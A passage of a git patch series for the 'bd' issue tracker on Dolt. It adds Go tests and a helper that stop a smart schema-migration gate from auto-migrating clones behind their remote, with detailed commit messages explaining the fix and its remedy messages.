+ t.Errorf("WorkingSetClean calls = %d, want 0 (the equal-version path must not require a clean working set)", fa.cleanCalls) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("level clone: still the safe first-mover auto-migrate", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + // ancestorResult false covers BOTH non-behind shapes the predicate + // collapses: HEAD == ref (level) and ahead > 0 (unpushed local + // commits). Neither is refused. + fa := &fakeAdopter{ancestorResult: false, cleanResult: true} + if err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()); err != nil { + t.Fatalf("a clone that is not behind must still auto-migrate, got %v", err) + } + if fa.ancestorCalls != 1 { + t.Errorf("IsStrictAncestor calls = %d, want 1", fa.ancestorCalls) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("ancestry read error: blunt block, never the automatic migrate", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorErr: errors.New("dolt_log AS OF: branch not found")} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("an inconclusive ancestry read must fall back to the blunt block, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonUnreadableState { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonUnreadableState) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("no adopter wired: routing is unchanged", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + // The unit-of-work provider's injection site passes nil (and is + // shared, where the first-mover arm is suppressed anyway). With no + // ancestry fact to read, the verdict stays exactly what it was. + if err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, nil); err != nil { + t.Fatalf("a nil adopter must not change the first-mover verdict, got %v", err) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("below the convergence floor: outcome and reads unchanged", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + current := floor - 1 + expectSmartFiringGate(mock, current) + hashes := map[int]string{current: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected gate error, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonBelowFloor { + t.Errorf("FallbackReason = %q, want %q (below-floor outcomes must stay byte-identical)", gateErr.FallbackReason, fallbackReasonBelowFloor) + } + if fa.ancestorCalls != 0 { + t.Errorf("IsStrictAncestor calls = %d, want 0 (the ancestry read must not fire below the floor)", fa.ancestorCalls) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("shared store: data-behind outranks the shared-store suppression reason", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + SetForceAllowRemoteMigrate(false) + SetSharedMigrateConsent(false) + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + // Both facts hold, and either one blocks. The shared-store reason + // says "the gate WOULD have resolved and was overruled", which is not + // true here — and the pull-first remedy is a precondition this + // operator has to satisfy either way. + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckSharedStoreMigrateGate(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected gate error, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if !gateErr.Shared { + t.Error("Shared should still be set on a shared-store refusal") + } + // But the note must NOT promise the retry resolves itself here: on a + // shared store the first-mover auto-migrate stays suppressed (#5920), + // so pulling clears this stop and the retry still needs consent. + msg := gateErr.UserMessage() + if !strings.Contains(msg, "Run `bd dolt pull` first") { + t.Errorf("shared store should still get the pull-first remedy:\n%s", msg) + } + if strings.Contains(msg, "proceeds on its own") { + t.Errorf("shared store must not be promised an automatic retry (the first-mover arm is suppressed here):\n%s", msg) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + t.Run("non-shared store IS promised the automatic retry", func(t *testing.T) { + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected gate error, got %v", err) + } + if msg := gateErr.UserMessage(); !strings.Contains(msg, "proceeds on its own") { + t.Errorf("an ordinary clone's retry DOES auto-resolve and should say so:\n%s", msg) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) + + // An unparseable BD_SMART_GATE value normally outranks the routing reason, + // but it must not bury data-behind: that stop stands whatever the env says, + // and it is the only reason carrying a remedy the operator can act on now. + t.Run("unparseable BD_SMART_GATE does not bury the pull-first remedy", func(t *testing.T) { + t.Setenv(SmartGateEnv, "yes") + t.Setenv(AllowRemoteMigrateEnv, "0") + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected gate error, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Errorf("FallbackReason = %q, want %q (the env complaint must not outrank it)", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if msg := gateErr.UserMessage(); !strings.Contains(msg, "Run `bd dolt pull` first") { + t.Errorf("UserMessage lost the pull-first remedy:\n%s", msg) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet expectations: %v", err) + } + }) +} + +// TestSmartGateRoutingDataBehindShapes covers the widened data-behind +// predicate (gastownhall/beads#6575 review finding F2): the stop is keyed on +// behind >= 1 whatever ahead is, not on the strict-ancestor relation. +// +// The narrower form protected only a clone with zero local commits, and bd +// auto-commits every write — so "has local commits AND is behind" is the +// ORDINARY multi-machine state, and it reaches the identical wedge (the +// pending migration lands on a history missing the remote's commits either +// way). What differs is the remedy's behavior, not the remedy: the pull +// fast-forwards in one shape and merges in the other, so the two verdicts stay +// distinguishable all the way out to the message and the JSON. +func TestSmartGateRoutingDataBehindShapes(t *testing.T) { + floor := LastNonDeterministicMigration + + route := func(t *testing.T, fa *fakeAdopter, shared bool) error { + t.Helper() + t.Setenv(SmartGateEnv, "1") + t.Setenv(AllowRemoteMigrateEnv, "0") + SetForceAllowRemoteMigrate(false) + SetSharedMigrateConsent(false) + db, mock, _ := sqlmock.New() + defer db.Close() + expectSmartFiringGate(mock, floor) + hashes := map[int]string{floor: "h1"} + expectSmartRemoteRead(mock, hashes, hashes) + var err error + if shared { + err = CheckSharedStoreMigrateGate(context.Background(), db, "", nil, fa.adopter()) + } else { + err = CheckRemoteMigrateGateForRemoteWithRemoteCheckAndAdopt(context.Background(), db, "", nil, fa.adopter()) + } + if mockErr := mock.ExpectationsWereMet(); mockErr != nil { + t.Fatalf("unmet expectations: %v", mockErr) + } + return err + } + + t.Run("behind with no local commits: the fast-forward shape", func(t *testing.T) { + fa := &fakeAdopter{withAheadBehind: true, aheadResult: 0, behindResult: 1} + err := route(t, fa, false) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("a data-behind clone must not auto-migrate, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Fatalf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if gateErr.DataDiverged { + t.Error("DataDiverged = true, want false (ahead == 0 is a pure fast-forward)") + } + if msg := gateErr.UserMessage(); !strings.Contains(msg, "pure fast-forward") { + t.Errorf("message should say the pull fast-forwards:\n%s", msg) + } + // The raw counts are what the widened predicate reads; the older + // boolean callback must not be consulted when they are available. + if fa.aheadBehindCalls != 1 { + t.Errorf("AheadBehind calls = %d, want 1", fa.aheadBehindCalls) + } + if fa.ancestorCalls != 0 { + t.Errorf("IsStrictAncestor calls = %d, want 0 once AheadBehind is wired", fa.ancestorCalls) + } + }) + + t.Run("behind WITH local commits: the diverged shape still stops", func(t *testing.T) { + // The F2 case: before the widening this routed to smartAutoMigrate and + // the migration ran, measured on a real clone at ahead=1, behind=1. + fa := &fakeAdopter{withAheadBehind: true, aheadResult: 1, behindResult: 1} + err := route(t, fa, false) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("a diverged, behind clone reaches the same wedge and must not auto-migrate, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Fatalf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if !gateErr.DataDiverged { + t.Error("DataDiverged = false, want true (ahead >= 1 means the pull merges)") + } + msg := gateErr.UserMessage() + if !strings.Contains(msg, "MERGES") { + t.Errorf("a diverged clone must be told its pull merges rather than fast-forwards:\n%s", msg) + } + if strings.Contains(msg, "pure fast-forward") { + t.Errorf("a diverged clone must NOT be promised a fast-forward:\n%s", msg) + } + }) + + t.Run("purely ahead: still the safe first-mover auto-migrate", func(t *testing.T) { + // Nothing to pull, so nothing to wedge. Refusing here would be the + // over-refusal a patch line must not ship. + fa := &fakeAdopter{withAheadBehind: true, aheadResult: 3, behindResult: 0} + if err := route(t, fa, false); err != nil { + t.Fatalf("a clone with only unpushed local commits must still auto-migrate, got %v", err) + } + }) + + t.Run("level: still the safe first-mover auto-migrate", func(t *testing.T) { + fa := &fakeAdopter{withAheadBehind: true, aheadResult: 0, behindResult: 0} + if err := route(t, fa, false); err != nil { + t.Fatalf("a level clone must still auto-migrate, got %v", err) + } + }) + + t.Run("ahead/behind read error: blunt block, never the automatic migrate", func(t *testing.T) { + fa := &fakeAdopter{withAheadBehind: true, aheadBehindErr: errors.New("dolt_log AS OF: branch not found")} + err := route(t, fa, false) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("an inconclusive read must fall back to the blunt block, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonUnreadableState { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonUnreadableState) + } + }) + + t.Run("no AheadBehind wired: falls back to the strict-ancestor fact", func(t *testing.T) { + // An injection site that wired only the older callback keeps the + // pre-widening (narrower) behavior rather than losing the stop + // altogether: a strict ancestor is by definition ahead == 0, so the + // shape it reports is never "diverged". + fa := &fakeAdopter{ancestorResult: true, cleanResult: true} + err := route(t, fa, false) + var gateErr *RemoteMigrateGateError + if !errors.As(err, &gateErr) { + t.Fatalf("expected the data-behind stop via the fallback, got %v", err) + } + if gateErr.FallbackReason != fallbackReasonDataBehind { + t.Errorf("FallbackReason = %q, want %q", gateErr.FallbackReason, fallbackReasonDataBehind) + } + if gateErr.DataDiverged { + t.Error("DataDiverged = true; the IsStrictAncestor fallback can only report ahead == 0") + } + if fa.aheadBehindCalls != 0 { + t.Errorf("AheadBehind calls = %d, want 0 (not wired)", fa.aheadBehindCalls) + } + if fa.ancestorCalls != 1 { + t.Errorf("IsStrictAncestor calls = %d, want 1", fa.ancestorCalls) + } + }) +} + +// TestDataBehindRemedySurfaces pins the review's F1/F3/F4 findings on the +// message and agent contract: every surface has to name the ONE remedy that +// was measured to work, the shared-store consequence has to survive the +// precedence choice that made data-behind outrank shared-store, and the blunt +// migrate-or-adopt options must not be offered — in this state +// `bd migrate --force` is the bug (and its follow-up `bd dolt push` is +// rejected non-fast-forward while the clone is still behind) while +// `bd bootstrap` no-ops against an existing workspace. +func TestDataBehindRemedySurfaces(t *testing.T) { + base := func(shared, diverged bool) *RemoteMigrateGateError { + return &RemoteMigrateGateError{ + CurrentVersion: 66, LatestVersion: 67, Pending: 1, + FallbackReason: fallbackReasonDataBehind, + Shared: shared, + DataDiverged: diverged, + } + } + + t.Run("only the pull is offered", func(t *testing.T) { + for _, diverged := range []bool{false, true} { + e := base(false, diverged) + opts := e.Options() + if len(opts) != 1 || opts[0].ID != "pull-first" { + t.Fatalf("diverged=%v: Options() = %+v, want exactly one pull-first option", diverged, opts) + } + if len(opts[0].Commands) != 1 || opts[0].Commands[0] != DataBehindRemedyCommand { + t.Errorf("diverged=%v: option commands = %v, want [%q]", diverged, opts[0].Commands, DataBehindRemedyCommand) + } + for _, o := range opts { + for _, c := range o.Commands { + if c == "bd migrate --force" || c == "bd bootstrap" { + t.Errorf("diverged=%v: option %q offers %q, which was measured not to work in this state", diverged, o.ID, c) + } + } + } + if d := e.AgentDirective(); !strings.Contains(d, DataBehindRemedyCommand) { + t.Errorf("diverged=%v: AgentDirective must name the remedy:\n%s", diverged, d) + } + if body := e.userBody(); strings.Contains(body, "bd bootstrap") { + t.Errorf("diverged=%v: the body must not send the operator to a no-op bootstrap:\n%s", diverged, body) + } + } + }) + + t.Run("shared store keeps the #5920 lockout warning", func(t *testing.T) { + // F3: before this, Shared+data-behind rendered with neither + // "co-resident" nor "#5920" anywhere, because data-behind outranks + // fallbackReasonSharedStore (whose note carried them) and Options()' + // sharedRisk only ever decorated the adopt option. + msg := base(true, false).UserMessage() + for _, want := range []string{"co-resident", "#5920", SharedConsentCommand} { + if !strings.Contains(msg, want) { + t.Errorf("shared data-behind message is missing %q:\n%s", want, msg) + } + } + if strings.Contains(msg, "proceeds on its own") { + t.Errorf("a shared store must not be promised an automatic retry:\n%s", msg) + } + opts := base(true, false).Options() + if len(opts) != 2 || opts[0].ID != "pull-first" || opts[1].ID != "migrate-shared-after-pulling" { + t.Fatalf("shared Options() = %+v, want pull-first then the consent step", opts) + } + if d := base(true, false).AgentDirective(); !strings.Contains(d, "#5920") { + t.Errorf("shared AgentDirective must carry the co-resident consequence:\n%s", d) + } + }) + + t.Run("non-shared store IS promised the automatic retry", func(t *testing.T) { + msg := base(false, false).UserMessage() + if !strings.Contains(msg, "proceeds on its own") { + t.Errorf("an ordinary clone's retry DOES auto-resolve and should say so:\n%s", msg) + } + if strings.Contains(msg, SharedConsentCommand) { + t.Errorf("a non-shared clone must not be sent to the shared consent verb:\n%s", msg) + } + }) + + t.Run("IsDataBehind is exactly this stop", func(t *testing.T) { + // The store opens key their one narrow exemption on this predicate, so + // it must not widen to any other refusal. + if !base(false, false).IsDataBehind() { + t.Error("IsDataBehind() = false for the data-behind stop") + } + for _, reason := range []string{ + fallbackReasonUnreadableState, fallbackReasonBelowFloor, + fallbackReasonOptedOut, fallbackReasonUnparseableEnv, fallbackReasonSharedStore, "", + } { + e := base(false, false) + e.FallbackReason = reason + if e.IsDataBehind() { + t.Errorf("IsDataBehind() = true for FallbackReason %q", reason) + } + } + // A tailored decision is never this stop either, whatever the reason + // field happens to hold. + e := base(false, false) + e.Decision = gateDecisionForkSkew + if e.IsDataBehind() { + t.Error("IsDataBehind() = true for a fork-skew decision") + } + if (*RemoteMigrateGateError)(nil).IsDataBehind() { + t.Error("IsDataBehind() = true on a nil receiver") + } + }) +} + // TestSmartGateEnabled pins the default-on contract: unset and unparseable // values keep the smart gate active; only an explicit boolean false opts out. func TestSmartGateEnabled(t *testing.T) { diff --git a/internal/storage/versioncontrolops/fastforward.go b/internal/storage/versioncontrolops/fastforward.go index 3387517f5..317da1d04 100644 --- a/internal/storage/versioncontrolops/fastforward.go +++ b/internal/storage/versioncontrolops/fastforward.go @@ -15,17 +15,23 @@ import ( // elsewhere calls these yet — they are wired into the smart migrate gate in // a later change. -// LocalIsStrictAncestorOf reports whether local HEAD is a STRICT ancestor of -// ref in the Dolt commit graph: local has zero commits that ref lacks -// (ahead == 0) and at least one commit that local lacks (behind >= 1). A -// local HEAD equal to ref (ahead == 0, behind == 0) is NOT a strict -// ancestor, and returns false. +// LocalAheadBehind reports how far local HEAD has diverged from ref in the +// Dolt commit graph: ahead is the number of commits local has that ref lacks, +// behind the number ref has that local lacks. (0, 0) means the two are level. +// +// It is the raw fact behind LocalIsStrictAncestorOf, exposed separately +// because the two callers need different slices of it: a fast-forward adopt +// needs "ahead == 0 && behind >= 1", while the data-behind migrate stop +// (gastownhall/beads#6575) needs "behind >= 1" whatever ahead is — a clone +// with local commits of its own AND unpulled remote commits reaches the same +// wedge, and telling the operator which shape they are in changes whether +// their `bd dolt pull` fast-forwards or merges. // // ref must already be present locally (e.g. a cached remote-tracking ref // such as "origin/main" after a fetch); this performs no fetch of its own. -func LocalIsStrictAncestorOf(ctx context.Context, db DBConn, ref string) (bool, error) { +func LocalAheadBehind(ctx context.Context, db DBConn, ref string) (ahead, behind int, err error) { if err := issueops.ValidateRef(ref); err != nil { - return false, fmt.Errorf("invalid ref: %w", err) + return 0, 0, fmt.Errorf("invalid ref: %w", err) } // Dolt's AS OF requires a literal ref, not a bind parameter; ref was @@ -41,11 +47,25 @@ func LocalIsStrictAncestorOf(ctx context.Context, db DBConn, ref string) (bool, (SELECT commit_hash FROM dolt_log)) AS behind `, ref, ref) - var ahead, behind int if err := db.QueryRowContext(ctx, query).Scan(&ahead, &behind); err != nil { - return false, fmt.Errorf("compare local HEAD to %s: %w", ref, err) + return 0, 0, fmt.Errorf("compare local HEAD to %s: %w", ref, err) } + return ahead, behind, nil +} +// LocalIsStrictAncestorOf reports whether local HEAD is a STRICT ancestor of +// ref in the Dolt commit graph: local has zero commits that ref lacks +// (ahead == 0) and at least one commit that local lacks (behind >= 1). A +// local HEAD equal to ref (ahead == 0, behind == 0) is NOT a strict +// ancestor, and returns false. +// +// ref must already be present locally (e.g. a cached remote-tracking ref +// such as "origin/main" after a fetch); this performs no fetch of its own. +func LocalIsStrictAncestorOf(ctx context.Context, db DBConn, ref string) (bool, error) { + ahead, behind, err := LocalAheadBehind(ctx, db, ref) + if err != nil { + return false, err + } return ahead == 0 && behind >= 1, nil } From e1e1158dd99e2514292afaab41100ff6aa804203 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 21 Sep 2026 02:49:16 -0700 Subject: [PATCH 059/624] release/1.3.0: stop the smart gate auto-migrating a data-behind clone (#6575) (#6659) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(schema): stop the smart gate auto-migrating a data-behind clone (#6575) Release-branch counterpart of the main-line fix. The four source files are byte-identical to the main commit; only the CHANGELOG placement differs (a 1.3.1 "Fixed" bullet instead of Unreleased). The smart migrate gate's first-mover verdict was computed from schema facts alone: equal content hashes against the cached remote ref, equal max version, and at-or-above the convergence floor. None of those say anything about where the clone's branch sits relative to the ref the hashes came from, so a clone that was level with the remote on SCHEMA but behind it in unpulled DATA commits satisfied every precondition and was classified a safe first-mover. It then migrated in place, minting local-only schema commits on a HEAD missing the remote's data commits. When the pending batch moves a tracked table onto the dolt_ignore plane (0062's events), every subsequent `bd dolt pull` refuses to merge (#6368) and the clone can no longer fetch the very commits it was already behind on. v1.3.0's upgrade audience is largely 1.1-era databases, which is exactly the cohort reaching this state — this is being field-hit now, which is why rc.2 is held for it. The decisive fact was already wired: routeSmartGate's remote-ahead branch consults adopt.IsStrictAncestor (ahead == 0 && behind >= 1) via routeAdoptFastForward, and both production call sites supply it. The equal-version path simply never read it. Read it there too, before granting the automatic migrate, and stop with a new data-behind fallback reason naming the one-command remedy. The predicate does the narrowing for free: a level clone (ahead 0, behind 0) and a clone with unpushed local commits (ahead > 0) both read false and still auto-migrate, so only a strictly-behind clone is refused. An inconclusive ancestry read degrades to the blunt #4515 block rather than assuming level, matching the file's contract that no fallback is less safe than the blunt gate. Below-floor outcomes are untouched — the check sits inside the floor arm. Patch-line discipline: no new schema migration, no new feature surface. The stop reuses the existing blunt RemoteMigrateGateError with an empty Decision, so there is no change to the JSON or agent contract — no new Error()/userBody()/ AgentDirective/Options arms. Both shipped escape hatches still work unchanged: --force/BD_ALLOW_REMOTE_MIGRATE=1 are consulted before the smart gate, and BD_SMART_GATE=0 still yields the blunt block. Both stay in the release notes. S0 capability matrix: no cell flips, so no same-commit matrix change is needed. Verified two independent ways. No matrix fixture configures a Dolt remote — the direct `dolt push` cell asserts "No remote is configured" and `dolt remote list` asserts an empty listing — so checkRemoteMigrateGate returns at the hasRemote check before the smart gate, making routeSmartGate (the only function whose outcome changes) unreachable in every cell. Independently, matrix fixtures are created by the binary under test, so schema is at latest and the gate exits earlier still at len(pending) == 0. The one migrate probe, the `migrate schema` row, therefore never reaches the changed code. Regression test builds a genuinely data-behind clone against a real Dolt server rather than stubbing the fact the bug is about, and adapts to this branch's own LatestVersion (which lacks 0067). Verified failing at d487b9796 and passing here. Fixes #6575 Co-Authored-By: Claude Opus 5 * fix(schema): give the data-behind stop a working remedy, and widen it Review follow-up on the #6575 fix. The stop was right; what it told the operator to do was not reachable, and it protected the rarer half of the cohort. F1 (blocker): the refusal prescribed `bd dolt pull`, and `bd dolt pull` was refused by it. Measured on a real data-behind embedded clone (ahead=0, behind=1, clean working set) at the previous head: the pull exited 1 printing "Run `bd dolt pull` first, then retry"; `bd sync` and `bd init --reinit-local` exited 1 the same way; `bd bootstrap` reported "Database already exists … Nothing to do." and exited 0; `bd migrate schema --force` then `bd dolt push` left ahead=1 behind=1 with the push rejected non-fast-forward. The only thing that moved the clone was BD_ALLOW_REMOTE_MIGRATE=1 — performing the migration the stop exists to prevent. An embedded workspace has no external `dolt` binary either, so that was a fence with no gate. It is the #4566 deadlock one refusal over, so it takes #4566's shape of fix: a lenient open for the command whose whole purpose is to clear the refused precondition. Narrower than #4566's, though — the remote-sync open tolerates ONE gate reason (RemoteMigrateGateError.IsDataBehind) and nothing else. A pull cannot resolve a fork skew, a below-floor database, a shared-store consent decision or an opted-out blunt block, so waving it through those would buy nothing and hide them; the dirty-table and dependency-re-key refusals stay fatal on this open too. Broadening the existing LenientOpen classification instead would have granted all of that in one line. Verified end to end on both shapes, exit codes real: `bd dolt pull` 0 (0,1 -> 0,0), retrying the refused write auto-migrates as a true first-mover, `bd dolt push` 0. On a diverged clone the pull merges: 0 when it can, 1 with "merge conflicts in config require operator resolution; merge aborted and working set restored" when it cannot, and `bd dolt pull --strategy theirs` then 0 — which is why the diverged guidance names it. F2 (high): LocalIsStrictAncestorOf is ahead == 0 && behind >= 1, so a clone with any local commit of its own read "not behind" and still auto-migrated. Measured at the previous head with ahead=1, behind=1: "safe first-mover", and the migration ran. bd auto-commits every write, so behind-AND-ahead is the ORDINARY multi-machine state and the shape the fix protected was the narrower one. It reaches the identical wedge — the migration lands on a history missing the remote's commits either way — so the predicate is now behind >= 1 whatever ahead is, read from LocalAheadBehind (the counts LocalIsStrictAncestorOf was already computing and discarding). A level clone and a purely-ahead clone have nothing to pull and still auto-migrate, verified through the CLI. The remedy differs by shape even though the command does not, so the two stay separate verdicts all the way out to the message, the agent directive and the JSON: one is told its pull fast-forwards, the other that it merges and how to resolve conflicts. An adopter that wires only the older callback keeps the narrower (pre-widening) reading rather than losing the stop. F3 (medium): with data-behind outranking fallbackReasonSharedStore, a shared store's refusal rendered with neither "co-resident" nor "#5920" anywhere — Options()' sharedRisk only ever decorated the adopt option. The #5920 consequence and the `bd migrate schema` consent step the retry needs there now travel with this reason, on every surface. F4 (medium): --json emitted only fallback_reason: "data-behind" while observed/expected/options stayed the blunt default, whose option 1 is ["bd migrate --force", "bd dolt push"] — the bug followed by a push that is guaranteed rejected while the clone is still behind — and whose option 2 no-ops. The pull-first remedy lived only in prose --json never emitted. observed/expected now describe this stop, options is the single pull-first option, and data_behind_shape says which pull to expect. decision stays absent and fallback_reason unchanged, so the key agents match on does not move. The blunt body is REPLACED for this reason rather than decorated: both of its options were measured wrong here, and leaving them under a note saying "pull first" is what sent the last round back into the wedge. Error() is deliberately untouched — the headline stays the blunt #4259 line, and the body's first sentence accounts for it. Both escape hatches are unchanged and re-measured: `bd migrate --force` and BD_ALLOW_REMOTE_MIGRATE=1 are still consulted before the smart gate (exit 0), and BD_SMART_GATE=0 still yields the blunt gate unconditionally — including for `bd dolt pull`, which is what opting out means. The two corrections from the first round are preserved: the "proceeds on its own" promise is still gated on !e.Shared, and the unparseable-BD_SMART_GATE carve-out still lets data-behind outrank an env complaint (BD_SMART_GATE=maybe re-measured). Tests cover both shapes at three levels. The schema routing table pins the widened predicate, the shape split, the error degradation, the IsStrictAncestor fallback, and every remedy surface including IsDataBehind's narrowness; neutralizing the widening fails three of its subtests. The real-Dolt regression test now runs both shapes over the same two-clone file:// fixture, measuring ahead/behind rather than stubbing it and asserting that the strict-ancestor relation is false exactly where the diverged shape needs the widening. A new embedded test builds a genuinely data-behind embedded store, proves OpenForRemoteSync gets through the refusal without migrating, and proves BD_SMART_GATE=0 on the same fixture does NOT. No S0 matrix cells flip. No matrix fixture configures a Dolt remote, so routeSmartGate stays unreachable; the only `dolt pull` probes are the proxied-mode typed refusals, which are classified in historyCapabilityMatrix before any store opens and are untouched. This is the release/1.3.0 counterpart of the main-line change, code-identical to it. Two differences, both from the base: the CHANGELOG entry is the expanded form of the existing #6575 bullet inside `## [1.3.1] - 2026-09-16`'s `### Fixed` (same position the bullet already held, so the #6653 CHANGELOG non-conflict is preserved), and the dolt.Config literal in cmd/bd/main.go has no PoolReadTimeoutFallback field on this base. The shipped `## [1.3.0]` section is byte-identical: sha256 798a2ee0b0f0b7a3f0fc017ae01c919807740348a34f5ea8719b82a008533d00, 9169 lines, and the only CHANGELOG hunk is above its header. This branch's own matrix (cmd/bd/topology_capability_matrix_test.go, absent on main) was re-checked after the widening: no cell flips. No fixture configures a Dolt remote (the direct `dolt push` cell asserts "No remote is configured" and the direct `sync` cell asserts "status": "no-remote"), so routeSmartGate stays unreachable, and there is no `dolt pull` probe row at all. Refs #6575 Refs #6368 Refs #4566 Co-Authored-By: Claude Opus 5 * fix(schema): retarget the shared data-behind consent verb under --global Self-review catch on the previous commit's own new text. The #5920 consent verb the shared data-behind guidance names is TARGET-SCOPED: under --global the refused open aimed at beads_global, so the project-scoped `bd migrate schema` would consent the wrong database and leave the refusal in place. The existing shared-no-remote arm already handles this (printGlobalDatabaseConsentHint and the JSON retarget), and the new arm had to as well. The JSON retarget could not simply reuse the Decision test: this stop reaches the renderer through the default empty-Decision arm, keyed on the fallback reason, so `e.Decision == "shared-no-remote"` misses it. The human body now names the --global variant beside the project-scoped one, exactly as the shared-no-remote body does. The pull itself is target-agnostic and is deliberately NOT rewritten. Refs #6575 Co-Authored-By: Claude Opus 5 * fix(schema): give the data-behind read path the pull remedy too Round 2 fixed the write path and the agent payload, but left the two lenient embedded opens rendering the blunt #4259 coordination block. Those opens do not fail on this refusal - they warn and carry on - so the warning IS the whole contract for `bd list`, `bd ready`, `bd show` (openReadOnlyCommand) and `bd dolt commit` (openWorkingSetReconcile). Both printed `gateErr` (Error(), the one-line summary) followed by the unchanged sharedGuidance bullets, so on a data-behind clone the first thing bd said was: • designated migrator (only ONE machine): bd migrate --force && bd dolt push • every other clone (another already migrated): bd bootstrap Measured on a fast-forward clone at the previous head: that migrate lands v67 on a history the clone is still behind on, and the `bd dolt push` after it exits 1, rejected non-fast-forward - the #6575 state, reached by following bd's own instruction, from the same clone whose write path says in capitals not to run it. `bd bootstrap` no-ops against an existing workspace. `bd list` is the first thing a 1.1-era upgrader runs and what agents run constantly, so this was the most-read surface of the whole stop. Both arms now branch on gateErr.IsDataBehind() and print gateErr.UserMessage(), which is where the shape-branched pull-first body already lives - the same thing server mode's warnLenientOpenRefusal has printed all along. The intent framing is kept rather than replaced: the command in hand is still succeeding against the old schema, which the body (written for the fatal refusal) does not say. Refusals that are not the data-behind stop keep the coordination bullets, which are right for them; a second test pins that so the new body cannot swallow them. Verified by running, not asserting - `bd list` and `bd dolt commit` on real data-behind clones of both shapes, then `bd dolt pull` and a re-run, which migrates. Also fixes the agent payload contradicting itself. For data-behind, AgentDirective calls `bd dolt pull` the single option, Options annotates it `when: always, for this stop` and `risk: none - a pure fast-forward`, yet human_decision_required stayed hard-coded true, so an agent keying on that field stalled for approval of a step the same payload calls 